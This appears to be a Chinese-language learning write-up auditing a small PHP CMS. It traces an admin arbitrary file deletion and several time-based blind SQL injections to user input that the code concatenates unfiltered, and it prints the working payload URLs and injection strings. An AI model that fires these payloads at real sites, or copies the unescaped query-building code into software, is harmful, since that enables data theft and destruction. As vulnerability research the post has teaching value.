起因
最近一直在学习代码审计,本人php代码功底相对较弱,所以先从简单的审计入手,在cnvd上看到这套cms,三处注入,一处任意文件删除,小众cms,个人开发,就当练手。
环境
php 5.6.40
mysql 5.7.26
IDE PHPSTROM + Xdebug
pythonmysql监控
大致分析
目录结构:
v1.1full
├── admin ---后台管理目录
├── api.php ---api入口文件
├── attachment ---图片等文件存放目录
├── cache ---缓存文件目录
├── common.php
├── config.php ---配置文件
├── data ---备份文件等目录
├── hook ---hook文件
├── httpd.ini
├── index.php ---主页入口
├── install ---安装文件
├── module --主页模块文件
├── public --公共资源
├── template ---前端文件
├── user.php --user模块入口
mvc模式,多入口,每个大模块分一个入口。
url模式:url模式:?mod(模块名)=xx&act(方法名)=xx&id(参数)=/或者:index.php/模块名/方法名/参数
缓存类:将文件序列化存与对应的缓存类中,index模块初始化时,直接调用,缓存类直接返回反序列化后的对象。
1.后台任意文件删除。
admin/module/db.php:85
php:
case 'del':
//pe_error('演示站未开启删除权限');
pe_token_match();
pe_dirdel("{$pe['path_root']}data/dbbackup/{$_g_dbname}");
pe_success('删除完成!');
break;
//####################// 数据备份恢复 //####################//
default:
$backup_list = (array)pe_dirlist("{$pe['path_root']}data/dbbackup/*");
rsort($backup_list);
$seo = pe_seo($menutitle='数据备份', '', '', 'admin');
include(pe_tpl('db_list.html','admin'));
break;
pe_dirdel函数为文件删除函数。
public/function/global.func.php:294
function pe_dirdel($dir_path)
{
if (is_file($dir_path)) {
unlink($dir_path);
}
else {
$dir_arr = glob(trim($dir_path).'/*');
if (is_array($dir_arr)) {
foreach ($dir_arr as $k => $v) {
pe_dirdel($v, $type);
}
}
@rmdir($dir_path);
}
}
{_G_dbname进行拼接,即可得到删除文件路径,然后带入到pe_dirdel函数中,而这个函数并没有做其他判断,只判断是不是一个文件,并且我们可以看到并没有对$_G_dbname进行处理,那么我们只要知道这个参数从哪传来的就行了,如果可控的话,就能达到任意文件删除的目的。
在common.php:60
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
先通过magic_quotes_gpc函数进行用户传入数据进行处理,将 ' " 等加转译符号,然后在将get传来的参数加上_g的开头,post则加上_p,那么思路很清晰了,只要我们get方式传入一个名为dbname的变量即可,其值就是我们想删除文件的地址。pe_token在后台页面查看源代码即可得到。
payload:
host/admin/webadmin.php?mod=db&act=del&dbname=删除文件地址&token=a1d6a63a9cd67d43a0b445af107eea65
后台盲注(product.php:78)
直接看代码吧
case 'state':
pe_token_match();
$product_id = is_array($_p_product_id) ? $_p_product_id : $_g_id;
if ($db->pe_update('product', array('product_id'=>$product_id), array('product_state'=>$_g_state))) {
pe_success("操作成功!");
}
else {
pe_error("操作失败...");
}
这段代码是用改变商品状态的act=state,先判断token,然后得到product_id,由上面可以知道该id可以从post传入也可以从get传入,然后就直接丢到pe_update,跟进pe_update
到public/class/db.class.php:226
public function pe_update($table, $where, $set)
{
//处理设置语句
$sqlset = $this->_doset($set);
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_update("update `".dbpre."{$table}` {$sqlset} {$sqlwhere}");
}
进入_doset方法,处理public/class/db.class.php:285
protected function _doset($set)
{
//仅针对insert插入多条数据
if (is_array($set) && count($set, 1) > count($set)) {
foreach ($set as $set_one) {
$key_arr = $val_arr = array();
foreach ($set_one as $k => $v) {
$key_arr[] = str_ireplace('`', '', $k);
$val_arr[] = "'{$v}'";
}
$val_str[] = "(" . implode($val_arr, ', ') . ")";
}
$key_str = "(" . implode($key_arr, ', ') . ")";
$sqlset = "{$key_str} values ".implode($val_str, ', ');
}
elseif (is_array($set) && count($set, 1) == count($set)) {
foreach ($set as $k => $v) {
$k = str_ireplace('`', '', $k);
$set_arr[] = "`{$k}` = '{$v}'";
}
$sqlset = 'set '.implode($set_arr, ' , ');
}
else {
$sqlset = "set {$set}";
}
return $sqlset;
}
可以看到,这里并没有对数据进行处理,只是用str_ireplace函数将'`'替换为空,并没有对单引号等进行处理,然后就进行了拼接,返回了sql语句,很明显的注入,但是这里并没有将sql语句错误爆出来,所以只能通过页面返回信息进行注入,且product_id与product_state均可进行注入。
payload:
product_id处:
product_id%5B%5D=8')and if((ASCII(mid(user(),0,1)=114)),sleep(5),1)#('
product_state处:
/admin/webadmin.php?mod=product&act=state&state=2'%20and%20if((ASCII(mid(user(),0,1)=114)),sleep(5),1)%23('&token=a1d6a63a9cd67d43a0b445af107eea65
这个模块下还有好几个方法都可以注入,不再一一累赘。
article.php(delet,updata注入)
由于他们都调用了同一个sql操作类库,造成注入的原因大致一样,直接将闭合单引号即可进行注入,不再解释过多,贴张图吧。
后续
其实还有很多处注入,就不一一写出来了,都是由于对用户传入参数过滤不当造成的,暂时只审计到了后台的注入,明天在看看能不能找前台注入或者getshell的条件吧。
文笔轻浮,如有不对,请大佬们斧正。
晚安😴。